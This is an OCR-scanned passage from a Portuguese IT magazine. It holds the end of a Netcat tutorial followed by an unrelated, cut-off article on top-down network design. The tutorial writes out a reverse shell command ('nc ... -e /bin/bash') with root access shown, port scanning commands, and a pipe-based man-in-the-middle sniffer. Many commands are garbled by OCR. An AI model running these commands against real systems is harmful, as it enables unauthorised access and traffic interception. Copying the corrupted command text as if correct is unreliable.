Listagem 7. Criando um Shell Reverso.

Méquina 1 (Windows)

C:\nc11nt> nc.exe —nvl -p 2000
Listening on [any] 2000 ...

Méquina 2 (Linux)

#nc 192.168.217.2 2000 —e /bin/bash

Listagem 8. Execucao de comandos no Cliente.

C:\nc11nt> nc.exe —nvl -p 2000

Listening on [any] 2000 ...

Connect to [192.168.217.2] from <192.168.217.132> 52456
whoami

root

pwd

/root

Listagem 9. Scaneamento de Portas.

#nc-v-n-w2-r-z192.168.217.2 100-500
(UNKNOWN) [192.168.217.2] 445 (microsoft-ds) open
(UNKNOWN) [192.168.217.2] 443 (https) open
(UNKNOWN) [192.168.217.2] 139 (netbios-ssn) open
(UNKNOWN) [192.168.217.2] 135 (loc-srv) open

Na Listagem 9, utilizou-se o Netcat para escanear (opg¢do —z) o
servidor 192.168.217.2 especificando um range de portas (100-500)
com o caractere “-”
usou-se a opgdo -# para evitar uma consulta de DNS reverso no IP

entre a porta inicio e a porta fim. Também

alvo do scanner e a opgao -v (verbose) para adicionar mais detalhes a
saida. A opgao—v (verbose mode) adiciona mais detalhes ao resultado
do comando e pode ser utilizada até duas vezes (“-vv”). Nota-se
também que, dependendo da quantidade de portas configuradas
no range, o tempo de escaneamento torna-se muito alto, motivo pelo
qual utiliza-se a opgdo -w 2, para permitir um timeout de dois segun-
dos por porta, visando acelerar o processo. Outra funcionalidade
importante para aumentar as chances de sucesso é randomizar o
escaneamento de portas, empregando para isso a opgao -r.

A fungao de scanning do Netcat exibe como saida apenas as portas
em listen (abertas) do range utilizado, e ndo todas as escaneadas.

Caso seja necessdrio o scanning de poucas portas, elas podem ser
definidas uma a uma separadas pelo delimitador espago, como
demonstrado a seguir:

#nc-v-n-w2-r-z192.168.217.2 443 445 500
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Embora muito pouco frequente, ocasionalmente o host alvo pode
estar negando a consulta de portas. Esse comportamento pode
ser proveniente de algum problema na rede que ndo permita
acessar remotamente as portas utilizadas na velocidade desejada.
Isso pode gerar mensagens de erros diferentes como time out (ver
Listagem 10).

Nota-se que, no exemplo da Listagem 10, foi retirada a opgdo
-n para visualizar a consulta reversa do servidor. Devido a isso,
foi mostrado todos os registros reversos do FQDN (Fully Qualified
Domain Name) consultados.

Executando DNS Queries

Utilizando a opgao “-u* para pacotes UDP pode-se simular uma
consulta DNS (DNS Query) a um determinado servidor. Para
isso, primeiramente precisa-se iniciar o Netcat em Listen Mode na
porta 53/UDP. Em outro terminal, verifica-se como é construida
a estrutura da string de DNS guery, executando-a no servidor
criado localmente na porta 53/UDP (Terminal 1 da Listagem 11)
e enviando a saida da consulta para o arquivo dns-query.txt, como
apresentado na Listagem 11.

Listagem 10. Mensagens de Time Out.

#nc-v-w 2 -r-zwww.google.com 22 23 24 25

DNS fwd/rev mismatch: www.l.google.com != yx-in-f106.1e100.net
DNS fwd/rev mismatch: www.l.google.com != yx-in-f147.1e100.net
DNS fwd/rev mismatch: www.l.google.com != yx-in-f99.1e100.net
DNS fwd/rev mismatch: www.l.google.com != yx-in-f104.1e100.net
DNS fwd/rev mismatch: www.l.google.com != yx-in-f103.1e100.net
DNS fwd/rev mismatch: www.l.google.com != yx-in-f105.1e100.net
www.l.google.com [74.125.45.106] 22 (ssh) : Connection timed out
www.l.google.com [74.125.45.106] 23 (telnet) : Connection timed out
www.l.google.com [74.125.45.106] 24 (?) : Connection timed out
www.l.google.com [74.125.45.106] 25 (smtp) : Connection timed out

Listagem 11. Simulando consultas DNS.

Terminal 1

#nc—-u—i-p 53 >dns-query.txt
Terminal 2

# dig www.website.com @localhost

Dentro do arquivo dns-query.txt estard a consulta DNS da forma
como a estrutura da query foi interpretada pelo Netcat. Agora pre-
cisa-se remeter o contetido do arquivo para algum servidor DNS
vdlido, com o objetivo de simular a consulta. Pode-se, portanto,
reutilizar a resposta como uma guery executada diretamente pelo
Netcat no comando a seguir, onde, na saida padrao, serd exibido
o contetddo da query executada:

# cat dns-query.txt | nc —u ns1.servidor.com 53

Servindo paginas web

Outro recurso do Netcat é servir paginas simples HTML (da mesma
forma que um servidor web) para utilizagdo em testes ou até mesmo
em exploits. Para ilustrar um exemplo, foi criada uma pequena pagina
HTML de nome pagina.html com o contetido da Listagem 12.



Listagem 12. Cédigo HTML do arquivo pagina.html.

<html>
<title>Pagina de teste</title>
<body>
<h2>Alo Netcat</h2>
<h2>Bem Vindo</h2>
</body>
</html>

Para evitar instalar e configurar um servidor web do zero,
utiliza-se estruturas de lago “while” em shell script, para evitar que
a pédgina feche criando uma operagdo que nunca expira (“while
true”). Logo ap0s, concatena-se a saida do arquivo pagina.html
para o Netcat jd em Listen na porta 80/ TCP, com o comando “nc -1
-p 80 -q 1 < pagina.html”. Logo ap6s, fecha-se a condigdo “while”
com o “done” da seguinte forma:

# while true; do nc-1-p 80-q 1 < pagina.html ; done

Assim, acaba-se de criar um servidor na porta 80/ TCP disponi-
bilizando nele a pagina pagina.html. Nota-se que o comando exe-
cutado ficarad no terminal até que seja finalizado com um ctrl+c.

Em seguida, abre-se outro terminal e checa-se com o comando
“netstat —platun | grep 80”, se o comando foi executado e estd
rodando com sucesso:

# netstat -platun | grep 80

tcpo 0 00.0.0.0:80 0.0.0.0* LISTEN 7155/nc

A saida do comando “netstat” mostra que o comando Netcat foi
executado com sucesso e estd respondendo na porta 80.

Uma vez que a pdgina esteja funcionando na porta escolhida,
basta abrir o endereco IP do servidor utilizado na barra de URL
de qualquer browser da mesma forma que seria feito com uma
pdgina normal (Figura 1).

02000 e
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Alo Netcat

Bem Vindo

Figura 1. Abrindo o arquivo pagina.html do servidor no navegador web

Se retornar ao terminal que estd servindo a conexdo, observa-
se a utilizagdo do browser Microsoft Internet Explorer 9.0, como
mostra o banner de “User Agent” da Listagem 13.

Definindo o IP de Origem

Em determinadas situagdes, onde o servidor possui diversos
IPs configurados em uma ou mais interfaces de rede, é necessa-
rio definir um IP que se deseja utilizar no Netcat. Quando néo é

definido um IP de origem, o servigo entrard em Listerr em todos os
IPs disponiveis no servidor, que no Shell Linux é referido pelo IP
0.0.0.0. Como pode ser visto na Listagem 14, executa-se o comando
Netcat no Terminal 1 e o comando “netstat” no Terminal 2.

Listagem 13. Banner “User Agent” do Navegador Web.

# while true; do nc-1-p 80-q 1 < pagina.html ; done

GET/HTTP/1.1

Accept: text/html, application/xhtml+xml, */*

Accept-Language: pt-BR

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64;
Trident/5.0)

Accept-Encoding: gzip, deflate

Host: 192.168.217.132

Connection: Keep-Alive

GET /favicon.ico HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64;
Trident/5.0)

Host: 192.168.217.132

Connection: Keep-Alive

Listagem 14. Comando Netcat sem definicao de IP especifico.

Terminal 1

#nc-1-p 12345

Terminal 2

# netstat -platun | grep 1234

tcp 0 0 00.0.0:12345 0.0.0.0:* LISTEN 2244/nc

Para evitar esse comportamento, pode-se utilizar a opgédo -s
para definir um IP de origem especifico onde o socket ficard em
Listen.

Utilizando o comando “ifconfig—a” | grep inet”, observa-se que
o servidor possui dois IPs diferentes:

# ifconfig -a | grep inet
inet addr:192.168.217.132 Bcast:192.168.217.255 Mask:255.255.255.0
inet addr:192.168.217.135 Bcast:192.168.217.255 Mask:255.255.255.0

Serd entdo utilizado o Netcat executando dois servigos em dois
IPs diferentes. O primeiro servigo serd criado na porta 12345 no
IP 192.168.217.132 e 0 segundo na porta 12346 no IP 192.168.217.135,
executando cada comando em um terminal diferente, como na
Listagem 15.

Listagem 15. Criando dois servicos em portas e IPs diferentes.

Terminal 1

#nc-s192.168.217.132 -1 -p 12345
Terminal 2

#nc—-s192.168.217.2 12346 -1 -p 12346

Em um terceiro terminal, utiliza-se o comando “netstat” e
visualiza-se os dois IPs, cada um executando um dos servi-
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cos supracitados, fornecendo o acesso as portas apenas no IP
especificado:

# netstat -platun | grep 1234
tcp 0 0192.168.217.132:12345 0.0.0.0:* LISTEN
tcp 0 07192.168.217.135:12346 0.0.0.0:* LISTEN

2231/nc
2232/nc

Proxy TCP genérico

Existe uma funcionalidade muito conveniente do Netcat quando
se utiliza o comando em conjunto com arquivos Linux do tipo
pipe. Pode-se, por assim dizer, criar um sniffer como um “man-in-
the-middle” para monitorar o trafego entre o cliente, que requisita
0 acesso, e o servidor na ponta final. Assim, pode-se levantar
informacoes para executar atividades maliciosas ou simplesmente
como forma de debug do trafego da rede.

Desse modo, consegue-se visualizar exatamente a sequéncia de
caracteres retornada pelo servidor remoto e, consequentemente,
monitorar o trafego de acesso a essa porta.

Para executar essa tarefa, precisa-se primeiramente criar um
arquivo do tipo pipe, como a seguir:

# mknod backpipe p

Uma vez criado o pipe, utiliza-se o Netcat para criar um servidor
na porta 80/TCP, setando também um outro Netcat (recebendo
dados via pipe do comando anterior) para falar com o servidor real
em sua porta original, que no exemplo é 81/TCP. Dessa forma,
faz-se com que eles passem todos os dados que recebem de um
para o outro, formando juntos um proxy, algo como um sniffer
“man-in-the-middle” na conexdo, como no comando a seguir:

#nc -1 -p 80 O<pipe-retorno | tee —a entrada | nc localhost 81 | tee —a saida 1>pipe-retorno

Devido ao fato de pipes do Bash Linux apenas transportarem
dados unidirecionalmente, precisa-se de um meio de levar as
respostas junto com os dados. Cria-se entdo um pipe no sistema
de arquivos local para carregar os dados de volta no sentido
contrério.

Requisigdes destinadas ao proxy, chegando no primeiro coman-
do Netcat, ficam em estado LISTEN na porta 80. Em seguida, estas
requisices sdo reenviadas via pipe ao comando tee, que as loga no
arquivo “entrada”. Logo apds a saida do comando, a requisigdo é
enviada para o segundo comando Netcat, que conecta ao servidor
web real. Quando a resposta retorna do servidor, chega diretamen-
te ao segundo comando Netcat, e é escrita pelo segundo comando
tee no arquivo “saida”. A mesma resposta do comando é replicada
para o pipe “pipe-retorno” no sistema de arquivos local.

Devido a complexidade do comando, o mesmo pode ser mais
bem analisado e entendido no diagrama de fluxo de dados da
Figura 2.

A primeira vista, essa operagdo pode parecer um pouco mais
complicada do que o habitual. Portanto, reserve um tempo para
entender a sintaxe, a fim de, com um pouco de criatividade, tam-
bém poder utiliza-la em seus scripts didrios, caso necessdrio.
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Figura 2. Diagrama de fluxo do comando Netcat

Conclusao

O comando Netcat é bastante completo e flexivel, sendo uma
ferramenta chave para qualquer analista de TI, desde programa-
dores a especialistas em seguranga e redes. Pode ser facilmente
utilizada na criacdo de programas para testes, troubleshooting de
rede, exploits ou scripts, auxiliando em todas as fungdes didrias
de gerenciamento.

Existem diversos outros exemplos que podem ser visuali-
zados no préprio pacote do Netcat, e assim como os citados
neste artigo, servem de ponto de partida para seus préprios
exemplos e scripts.

O tnico limite existente para transformar o Netcat em uma fer-
ramenta completa e ttil, cheia de funcionalidades, é a sua prépria
criatividade e necessidade.

Embora o Netcat seja largamente utilizado pela sua gama
de funcionalidades, existem alternativas mais atuais que au-
mentam ainda mais o seu poder e utilidade, suportando mais
protocolos e fungdes, como o Ncat. Porém, esse é um assunto
para outro artigo.
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Projeto de redes de
computadores

Aprenda como desenvolver projetos de redes
utilizando a abordagem top-down

esenvolver um projeto de redes de computado-

res geralmente é uma atividade complexa, pois

envolve componentes com caracteristicas dis-
tintas, como cabeamento, switches, roteadores, firewalls,
protocolos da camada de enlace e de rede, entre outros.
Além disso, frequentemente sdo disponibilizadas novas
tecnologias e protocolos pelos fornecedores de hardware
e software para atender as demandas crescentes de se-
gurangca, escalabilidade, confiabilidade, acesso remoto
elargura de banda. Assim, os projetistas sdo desafiados
a criar estruturas que sejam o estado da arte da tecno-
logia para redes de computadores, mesmo com esta em
continua evolugéo.

Neste cendrio de diversas tecnologias, hardwares e
softwares, é necessdrio selecionar e integrar os recursos
a serem empregados conforme os servigos suportados.
Para ilustrar, suponha uma corporagdo que substituird
sua plataforma de telefonia atual por um novo sistema
com a tecnologia de voz sobre IP (Internet Protocol). Vi-
sando assegurar a qualidade das chamadas telefénicas,
o projeto contemplard, entre outros requisitos, aimplan-
tacdo de mecanismos para a priorizagao dos fluxos de
voz. Caso a infraestrutura também seja utilizada para
video-chamadas, serd imprescindivel a revisdo de todos
os enlaces de comunicagdo da matriz com suas filiais,
garantindo que estes possuam capacidade para acomo-
dar o trdfego adicional gerado sem prejudicar as demais
aplicacdes. Observe que o departamento de seguranca
dainformagéo poderd solicitar a cifragem (criptografia)
das chamadas, a fim de garantir a confidencialidade das
informacdes. Neste contexto, poderd ser necessdria a
especificagdo de dispositivos diferentes para atender o
novo requisito. Este simples exemplo revela que o escopo
pode sofrer alteragdes radicais para incorporar fun-
cionalidades ndo previstas. Evidencia também que, se
sua concepgao for fundamentada em um levantamento

De que se trata o artigo:

Este artigo descreve aabordagem top-down para o desenvolvimento
de projetos de redes de computadores. Neste enfoque, as arquiteturas
l6gica e fisica somente sdo concebidas apds um processo minucioso
de coleta de dados que enumera os requisitos comerciais e técnicos
do cliente, bem como os objetivos que devem ser alcancados com
sua implantacédo. O procedimento é iterativo, porque a medida que
novas informacdes sao identificadas, os projetos légico e fisico sao
atualizados para atender as novas demandas.

Em que situagdo o tema é iitil:

A abordagem top-down é fundamental para o desenvolvimento de
grandes e complexos projetos de redes de computadores, pois garante
o mapeamento de todos os seus requisitos e assegura sua conclusao
com sucesso. Os profissionais com perfil técnico podem ser especial-
mente beneficiados por este enfoque, pois tendem a enderegar de
maneira célere e superficial as necessidades do solicitante, partindo
para a proposicdo de uma solucdo técnica que ndo atendard as fun-
cionalidades esperadas e que resultara no fracasso do projeto.

Projeto de redes de computadores:

A estruturacao de um projeto de redes de computadores requer um
método sistematico e iterativo, pois envolve a integracdo de muitos
e sofisticados componentes. Além disso, o levantamento de todos os
requisitos comerciais e técnicos é essencial para o sucesso do projeto.
Neste contexto, a abordagem top-down pode auxiliar na concepcao
de projetos de redes que realmente atendam aos objetivos de seus
clientes. Este método é baseado em quatro etapas principais: inicial-
mente, sao identificadas as necessidades e os objetivos do solicitante;
posteriormente, é criado o projeto |6gico da rede; em seguida, o mo-
delo fisico da rede; finalmente, séo realizados os testes de validagao,
as propostas de melhoria, e a documentacao formal.
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incompleto de requisitos, fatalmente o projeto fracassard, pois ndo
corresponderd as expectativas do solicitante.

O uso de um método sistematico como a abordagem top-down
serd de grande valia na estruturacdo das redes de computado-
res, pois esta se inicia pelo mapeamento das aplicagdes a serem
suportadas e dos requisitos comerciais do cliente, ao invés do
detalhamento da solugdo técnica. Somente desta forma, serd
possivel a concepc¢do de um projeto que atinja seus objetivos e
que suporte expansdes futuras.

Diante disso, este artigo discorrerd sobre as quatro etapas da
abordagem top-down. Primeiramente, serdo descritos os passos
necessarios para a identificagdo dos objetivos comerciais do
projeto, além dos requisitos técnicos e das contradigdes entre os
mesmos. Serd exposto ainda como caracterizar o ambiente legado
e as interfaces da infraestrutura pré-existente com o projeto em
desenvolvimento. Estes dados serdo balizadores para a elabo-
ragdo dos modelos 16gico e fisico da rede, que incluirdo entre
outros tépicos, a sua arquitetura l6gica, os enderecamentos, os
padrdes de nomes dos dispositivos, a selegdo de protocolos das
camadas de enlace e de rede, as estratégias de seguranca e de
gerenciamento, e a determinagao dos equipamentos e tecnologias
das redeslocais e das geograficamente distribuidas. Finalmente,
serdo apresentados os procedimentos para valida¢do, otimizagao
e documentagdo do projeto proposto.

Abordagem top-down

Método utilizado no projeto de redes de computadores que inicia
o seu desenvolvimento por meio da camada mais alta do modelo
de referéncia OSI (Open Systems Interconnection), enfocando
o levantamento das aplicagoes, os fluxos de dados e os tipos de
servigos necessdrios para o transporte de dados, em detrimento da
sele¢do dos equipamentos (switches, roteadores, firewalls, balan-
ceadores de carga, entre outros) e das tecnologias de cabeamento
e interconexdo que serdo usadas (Figura 1).

Aplicagdo

Apresentacdo

Sessdo

Transporte

Rede

Enlace

Figura 1. Modelo de referéncia 0 utilizado como padrdo de interconexdo
entre dispositivos de rede
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A abordagem top-down explora a estrutura organizacional do
cliente para se determinar quais pessoas serdo usudrias diretas
ou indiretas da infraestrutura de redes que serd concebida, com
o objetivo de identificar informagdes que contribuirdo para o
sucesso do projeto. E importante observar o uso genérico do
termo cliente, indicando tanto as dreas internas da empresa para
as quais o projeto serd desenvolvido quanto as pessoas externas
a corporagao.

O método é iterativo, pois a medida que sdo enumerados mais de-
talhes em relagdo aos requisitos técnicos, como o comportamento
dos protocolos, a escalabilidade, a disponibilidade, as preferéncias
da equipe técnica, entre outros, podem ocorrer altera¢cdes nos
modelos 16gico e fisico propostos.

Em grandes e complexos projetos, a abordagem top-down
também emprega o conceito da divisdo em médulos funcionais.
Um enfoque comumente utilizado é aquele sugerido pela Cisco
Systems (mais detalhes sdo explorados no artigo The Hierarchical
Network Design Model), no qual as redes sdo divididas em trés
camadas (Figura 2):

e Ncleo (Core): equipamentos com alta capacidade de processa-
mento, desempenho e disponibilidade;

e Distribui¢do (Distribution): roteadores e switches que realizam
o encaminhamento dos pacotes IP entre os segmentos de rede
dos usudrios e implantam as politicas de roteamento, seguranca
e qualidade de servigo, entre outras funcionalidades;

e Acesso (Access): dispositivos que conectam os usudrios a rede.

Nucleo

Distribuicio

Acesso

Figura 2. Estrutura hierérquica com trés camadas

Esta estrutura possibilita o desenvolvimento de a¢des de pla-
nejamento, como manutengdes e otimizagdes concentradas em
cada um de seus médulos. Por exemplo, em um grande projeto,
as fungdes atreladas a infraestrutura da rede local podem ser
avaliadas separadamente daquelas relacionadas ao acesso remoto
ou as redes virtuais privadas (VPN — Virtual Private Network).

As préximas sec¢des apresentardo cada uma das etapas da abor-
dagem top-down descritas sinteticamente a seguir, conforme o
livro Top-Down Network Design:



e Identificacdo das necessidades e objetivos do cliente: nesta pri-
meira fase, sdo analisados os objetivos comerciais e técnicos do
projeto, elencando suas principais contradicdes e dificuldades.
Também sdo caracterizados o ambiente legado (interfaces com a
infraestrutura pré-existente) e os principais fluxos de dados que
serdo encaminhados pela rede de computadores;

e Projeto 16gico da rede: define as topologias de rede, a padroniza-
¢do de nomes e a hierarquia de enderegos IP que serdo empregadas
na concepgao do modelo 16gico. Este detalhard os protocolos das
camadas de enlace e de rede, bem como as estratégias adotadas
para a seguranga e o gerenciamento;

e Projeto fisico da rede: nesta etapa, serdo efetivamente seleciona-
dos os dispositivos e as tecnologias para as redes locais e as redes
geograficamente distribuidas;

o Testes, otimizagdo e documentagdo do projeto: serdo planejados
os testes de validagéo e os critérios de aceitagdo. Também serdo
descritas tecnologias para otimizacdo da infraestrutura, tais como:
redes IP multicast e recursos de qualidade de servigo. Por dltimo,
serdo abordados os principais itens da documentacdo formal do
projeto.

Identificacao das necessidades e objetivos do cliente

O sucesso de um projeto de rede de computadores depende
do atendimento das necessidades de seu cliente. Ao concebé-lo,
frequentemente, os especialistas em infraestrutura se posicionam
no lugar do requisitante e propdem aquela que seria a melhor
solugdo técnica. Entretanto, muitas vezes, os requisitos comer-
ciais e os objetivos do solicitante divergem desta proposta. Por
exemplo, suponha uma instituicdo financeira que encaminhard
suas transagoes eletrénicas entre duas localidades por um enlace
WAN (Wide Area Network — rede geograficamente distribuida).
Neste caso, se ndo houver o entendimento dos requisitos de se-
guranga da informagdo, os mecanismos de criptografia poderdo
ser equivocadamente desconsiderados em detrimento de uma
solugdo que privilegie o encaminhamento dos dados com alto
desempenho e baixa laténcia.

Neste cendrio, é essencial a compreensdo do contexto onde o
cliente estd inserido, identificando qual motivagao de negdcio
gerou o projeto, seja direta ou indiretamente:

e Aumento das vendas;

¢ Conquista de novos mercados;
e Diferencial competitivo;

e Redugéo de custos;

e Aumento da produtividade;

e Redugao de estoques;

e Oferta de novos servigos;

e Modernizagdo tecnolégica;

¢ Outras.

Somente desta forma, os objetivos esperados com a implantagado
e a conclusdo do projeto estardo claros. Abaixo, sdo apresentadas
outras importantes restricdes que também devem ser mapeadas
nesta fase inicial:

e Preferéncias tecnoldgicas por certos fornecedores de equipamen-
tos, que podem ocorrer por diversas razdes, como por exemplo,
uma empresa onde a equipe é especializada e certificada apenas
para o suporte em dispositivos de rede de um tinico fabricante;
¢ Questdes éticas, legais e regulatérias do negécio, como as
politicas de seguranca da informagdo Sarbanes-Oxley (SOX) e
Payment Card Industry (PCI) que sdo impostas as institui¢des
financeiras;

e A disponibilidade or¢amentdria, pois as licengas de software, os
contratos de manutengédo, os investimentos em hardware, entre
outros recursos, podem limitar o escopo do projeto;

o A previsdo de entregas pode demandar recursos humanos e
materiais incompativeis com as expectativas da organizacao.

Além destas questdes ligadas ao negécio, os requisitos técnicos
também devem ser determinados. Entre eles, destacam-se:
¢ Escalabilidade: define a capacidade de expansdo de um projeto
de redes. Estd intimamente relacionada com as tecnologias e as
arquiteturas utilizadas. Para tanto, é importante observar o ni-
mero de localidades que serdo adicionadas ao contexto do projeto,
quantos usudrios e servidores serdo necessdrios, quais recursos
e funcionalidades estardo contemplados etc. Geralmente , as
estruturas hierdrquicas e as modulares sdo mais escaldveis que
as redes planas, nas quais todos os dispositivos desempenham
fungdes similares;
¢ Disponibilidade: expressa como um percentual anual, mensal,
semanal ou didrio do perfodo em que a infraestrutura ou servigo
de redes estd disponivel aos seus usudrios. Por exemplo, um in-
dice anual de 99,9% indica a interrupg¢do de apenas 8,76 horas no
periodo (0,1% das 8.760 horas anuais);
e Desempenho: caracteristicas ou capacidades que refletem o
rendimento da rede de computadores. Tipicamente envolvem a
largura de banda (volume méximo de dados que pode ser condu-
zido por um enlace de comunicag¢do); a eficiéncia na transmissao
(relagdo entre os dados tteis e aqueles necessdrios apenas para o
controle, como os cabecalhos dos diversos protocolos); as fontes
geradoras de atrasos (propagacdo, transmissdo, processamento
e enfileiramento dos pacotes IP); e o jitter (inconstancias no
atraso ocasionadas principalmente pela sazonalidade no uso
dos recursos);
e Seguranca: impede que os atacantes alcancem seus objetivos
através do acesso ndo autorizado a rede. Entre outros riscos,
devem ser analisados o comprometimento dos dados, senhas e
configuracgdes dos equipamentos;
¢ Gerenciamento: no contexto de gerenciamento, as expectativas
do cliente podem estar relacionadas a manutengao dos eventos de
falha, a configuracéo dos dispositivos, a alocac¢do dos custos, ao
desempenho do trafego das aplica¢des e a0 monitoramento das
politicas de seguranga;
¢ Usabilidade: resulta da facilidade de uso da rede e de seus servigos.
Diferentes funcionalidades podem aumentd-la, tais como: a aloca-
¢do dindmica de enderegos IP por intermédio de servidores DHCP
(Dynamic Host Configuration Protocol), o acesso remoto por meio
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de VPN, a utilizagdo extensiva da Telefonia IP (mais detalhes no
artigo Desafios da telefonia IP) e a mobilidade em redes sem fio;

e Adaptabilidade: possibilita a escolha de componentes de
projeto que permitam a adogdo de novos recursos e tecnologias.
As alteragdes podem ser demandadas por novos protocolos, pré-
ticas comerciais ou imposigdes legais. Um projeto flexivel deve
lidar com mudangas nos padrées de trafego, novos requisitos de
QoS (Quality of Service), expansdes na infraestrutura, padrées
de nomes e alocacdo de enderecos IP, entre outras;

e Eficiéncia dos custos: favorece a obtengdo do maior volume
de trdfego possivel para um mesmo custo financeiro. Para tanto,
devem ser avaliados os protocolos mais robustos, a compressao
dos dados, os equipamentos com configuragdo simplificada, as
topologias descomplicadas, as atualizagdes nas documentagdes,
as abordagens difundidas de configuragdo etc.

Existem, muitas vezes, contradi¢des (denominadas tradeoffs)
entre os requisitos, por exemplo: um alto indice de disponibi-
lidade determina a existéncia de dispositivos redundantes que
geram um maior custo ao projeto; ou ainda, os efeitos negativos
na usabilidade em decorréncia das restri¢cdes de seguranca que
impdem a autenticagdo em duas etapas para acesso a um sistema.
Destarte, ¢ comum a atribuicdo de pesos para que estes possam
ser priorizados durante a elaboragdo do projeto. A Figura 3 ilustra
um exemplo de uma lista com os pesos totalizando 100 pontos.

~ ~
Requisito Peso
Escalabilidade 20
Disponibilidade 30
Desempenho 15
Seguranca
Gerenciamento
Usabilidade
Adaptabilidade
Eficiéncia dos custos 15
Total 100
p J

Figura 3. Priorizacdo dos principais requisitos técnicos

Concluido o levantamento dos requisitos comerciais e técnicos,
a etapa a seguir envolve a caracterizagdo do ambiente legado, ou
seja, da infraestrutura pré-existente. Esta contextualizagdo ajudara
na validagdo dos objetivos do cliente, pois a rede de computadores
atual pode ndo suportar as necessidades demandadas pelo novo
projeto. Por exemplo, suponha uma nova aplicagdo centralizada
que serd acessada por todos os escritérios remotos de uma grande
corporacao. Neste caso, é fundamental revisar a largura de banda
disponivel em todos os enlaces de dados, pois nas localidades
onde estes estiverem congestionados, os usudrios poderao ter a
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experiéncia prejudicada, devido aos atrasos causados pela alta
utiliza¢do da comunicagdo com a matriz. Portanto, é importante
mapear entre outras informagoes, os seguintes pontos:

e Infraestrutura légica e fisica: criar um ou mais mapas da rede
atual (Figura 4), indicando os principais servidores, os dispositivos
de rede, as VLANSs (Virtual Local Area Networks), as localidades
envolvidas, os locais onde ocorrem tradugdes de enderegos IP—NAT
(Network Address Translation), os protocolos das camadas de en-
lace e de rede, e os enlaces das operadoras de telecomunicagdes;

4 2

S0 Paulo
‘Gigabit Ethernet
200 usudrios

Campinas
Gigabit Ethernet
1000 usudrios

Rede MPLS
Operadora X

Rio de Janeire
Gigabit Ethernet

Curitiba Alfenas
Gigabit Ethernet Fast Ethernet

100 usudrios

\ T0 usudrios 40 usudrios

Figura 4. Topologia de rede I6gica do ambiente legado

e Padrdes de enderecamento e nomes: identificar as faixas de
enderecamento IP atribuidas as localidades, os nomes dos sites,
roteadores, servidores, e outros padrées adotados (Figura 5);

e Cabeamento: elencar os padrdes de cabeamento utilizados,
enumerando as fibras épticas monomodo e multimodo, os cabos
UTP (Unshielded Twisted Pair) e STP (Shielded Twisted Pair), os
enlaces de rddio e micro-ondas, as redes sem fio internas, os ga-
binetes (racks) com equipamentos de redes e as salas técnicas;

e Limitacdes do ambiente: determinar as necessidades acessorias,
como refrigeracao, circulacdo de ar e carga elétrica para os novos
dispositivos, além do espaco fisico para as canaletas, os gabinetes,
e a infraestrutura de cabeamento adicional. Quando o projeto
envolver comunicag¢des sem fio, caracterizar as interferéncias
magnéticas (Wireless Site Survey);

200.0.2.0/23
Salvador

200.184.0.0/20
Sdo Paulo [g1-sd-01

200.0.0.0/23
Curitiba

-
(25)

N

rol-cb-01

rol-rj-01

200.0.4.0/23

Rio de Janeiro

\.

Figura 5. Padrdes de enderecamento e nomes do ambiente legado




¢ Desempenho atual: contextualizar a linha de base do desempe-
nho atual da rede para comparar com os resultados obtidos apds a
implantagao do projeto. Esta é essencial para observar os impactos
resultantes da nova infraestrutura. Entre outros dados, devem ser
analisados os indices de disponibilidade, a utilizagdo dos enlaces,
o tempo de resposta para as principais aplicagoes e o estado atual
de roteadores, switches, firewalls e servidores (meméria, proces-
samento, principais processos, versdes de software etc.).

Por fim, deve-se caracterizar o trdfego atual da rede, identifi-
cando os principais fluxos de trafego (direcdo, simetria, média
de pacotes e niimero de bytes), o volume dos dados nos enlaces
internos e externos, os requisitos de qualidade de servigo (largura
de banda minima, atraso, priorizagdo e jitter), os principais gru-
pos de usudrios (aqueles que usam aplicagdes em comum) e os
repositérios de dados (servidores, Storage Area Networks — SANSs,
mainframes, unidades de fita, entre outros).

Os dados desta fase formardo o alicerce para a concepg¢do do
projeto 16gico detalhado na préxima segéo. Este estard aderente
as estruturas organizacionais do cliente e de seus usudrios, pois
todos os requisitos comerciais e técnicos foram enderecados na
etapa inicial.

Projeto logico da rede

O projeto l6gico se inicia pela definigdo da topologia da rede.
Cabe destacar, que esta ndo trata dos modelos de equipamentos
que serdo empregados nem da infraestrutura de cabeamento, pois
estes temas serdo objeto de estudo da préxima segdo.

As boas préticas de projeto sugerem o uso de modelos hie-
rarquicos na definicdo da arquitetura, pois estes permitem a
redugédo do processamento nos dispositivos de rede e a limita-
¢do dos dominios de broadcast. As redes planas ndo suportam
a expansdo futura, embora inicialmente sejam mais fdceis de
serem implantadas (Figura 6). Em linhas gerais, um bom projeto
deve possibilitar:
¢ Adicao de novas localidades, enlaces WAN, servigos e aplica¢des,
entre outros recursos, com o minimo de esforgo;
¢ Expansao da rede atual com altera¢des diminutas no ambiente
existente;

e Manutencdo simplificada e facilmente compreensivel.

Para as topologias de redes locais, devem ser consideradas:

e Redundancia dos enlaces de comunicagao interna por meio do
protocolo STP (Spanning Tree Protocol — ver Nota do DevMan 1)
ou de suas variantes. Desta maneira, serd possivel configurar
multiplas conexdes entre os switches com contingenciamento
automadtico em caso de falhas (Figura 7);

e Divisdo das redes locais com o uso de VLANSs, criando segmen-
tos distintos logicamente separados (Figura 8);

e Alta disponibilidade de gateways (roteadores empregados nos
acessos externos a rede local) por intermédio do protocolo VRRP
(Virtual Router Redundancy Protocol — ver Nota do DevMan 2)
ou de suas variantes proprietdrias. Assim, as interrupg¢des em um

Gnico equipamento nédo causardo indisponibilidade aos servicos,
pois o dispositivo backup assumird o encaminhamento dos pa-
cotes (Figura 9).

4 N\
Localidade 1
Localidade 1 Localidade 2 @
/ ~. 7 “
/ \>/;x< r/ \\
/ \ ' \\ \\
\\\@
Localidade 3 Localidade 4 Localidade 2 Localidade 3 Localidade 4

Topologia plana Topologia hierdrquica

\,

Figura 6. Comparacdo entre a topologia plana e a hierdrquica

~
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Figura 7. Switches com conexdes redundantes para a camada de distribuicdo
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Figura 8. Segmentos de redes logicamente separados (VLANs)
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Figura 9. Rede local com roteadores configurados com o protocolo VRRP
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Nota do Devian 1

Spanning Tree Protocol: 0 Spanning Tree Protocol gerencia as conexaes fisicas entre os switches de
uma rede, garantindo a existéncia de um dnico caminho ativo entre esses, mesmo quando estiverem
interligados por mdiltiplas conexdes. Sua operacdo se baseia na desativacao das portas redundantes
(duplicadas) que interconectam os switches.

Nova alvorada para o protocolo Internet). Desta forma, serdo
simplificadas a compreensdo da documentagao do projeto, o
rastreamento dos dispositivos (quando ocorrerem problemas e
